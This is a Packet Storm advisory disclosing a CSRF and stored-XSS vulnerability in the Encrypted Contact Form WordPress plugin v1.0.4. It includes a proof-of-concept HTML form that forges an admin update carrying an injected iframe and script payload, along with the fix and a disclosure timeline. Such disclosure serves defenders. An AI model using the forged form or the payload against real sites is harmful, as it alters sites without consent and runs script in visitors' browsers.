WordPress Encrypted Contact Form 1.0.4 CSRF / XSS

2015-05-15T00:00:00
ID PACKETSTORM:131955
Type packetstorm
Reporter Nitin Venkatesh
Modified 2015-05-15T00:00:00

Description

                                        
                                            `# Title: Cross-site Request Forgery & Cross-site Scripting in Encrypted  
Contact Form Wordpress Plugin v1.0.4  
# Submitter: Nitin Venkatesh  
# Product: Encrypted Contact Form Wordpress Plugin  
# Product URL: https://wordpress.org/plugins/encrypted-contact-form/  
# Vulnerability Type: Cross-site Request Forgery [CWE-352], Cross-site  
scripting[CWE-79]  
# Affected Versions: v1.0.4 and possibly below.  
# Tested versions: v1.0.4  
# Fixed Version: v1.1  
# Link to code diff: https://plugins.trac.wordpress.org/changeset/1125443/  
# Changelog: https://wordpress.org/plugins/encrypted-contact-form/changelog/  
# CVE Status: None/Unassigned/Fresh  
  
## Product Information:  
  
Secure contact form for WordPress. Uses end-to-end encryption to send user  
information. Not even your hosting provider can view the content.  
  
Let users send you information in a secure way. Uses I.CX messaging service  
to encrypt user content in their own web browsers before sending to you.  
## Vulnerability Description:  
  
The forms in the admin area of the plugin are vulnerable to CSRF, via which  
the contact forms generated are susceptible to XSS via unsanitized POST  
parameter.  
  
For example, the admin function of updating an existing form can be done  
via CSRF. Hence, by submitting a crafted HTML string in the parameters via  
CSRF, a XSS attack gets launched which affects all the visitors of the  
page(s) containing the contact form.  
## Proof of Concept:  
  
<form action="http://localhost/wp-admin/options-general.php?page=conformconf"  
method="post">  
<input type="hidden" name="name" value="required" />  
<input type="hidden" name="email" value="optional" />  
<input type="hidden" name="phone" value="off" />  
<input type="hidden" name="message" value="required" />  
<input type="hidden" name="display_name" value="Example" />  
<input type="hidden" name="recipient_name" value="example" />  
<input type="hidden" name="cfc_page_name" value="" />  
<!-- Wordpress page-id value -->  
<input type="hidden" name="existing_page" value="28" />  
<input type="hidden" name="cfc_selection" value="upd" />  
<input type="hidden" name="iframe_url"  
value=""></iframe><script>alert('XSS!');</script>"  
/>  
<input type="submit" value="Update Page">  
</form>  
  
## Solution:  
  
Upgrade to v1.1 of the plugin.  
  
## Disclosure Timeline:  
  
2015-03-26 - Discovered. Contacted developer on support forums.  
2015-03-27 - Contacted developer via contact form on vendor site.  
2015-04-01 - Fixed v1.1 released.  
2015-05-15 - Publishing disclosure on FD.  
  
## Disclaimer:  
  
This disclosure is purely meant for educational purposes. I will in no way  
be responsible as to how the information in this disclosure is used.  
  
  
`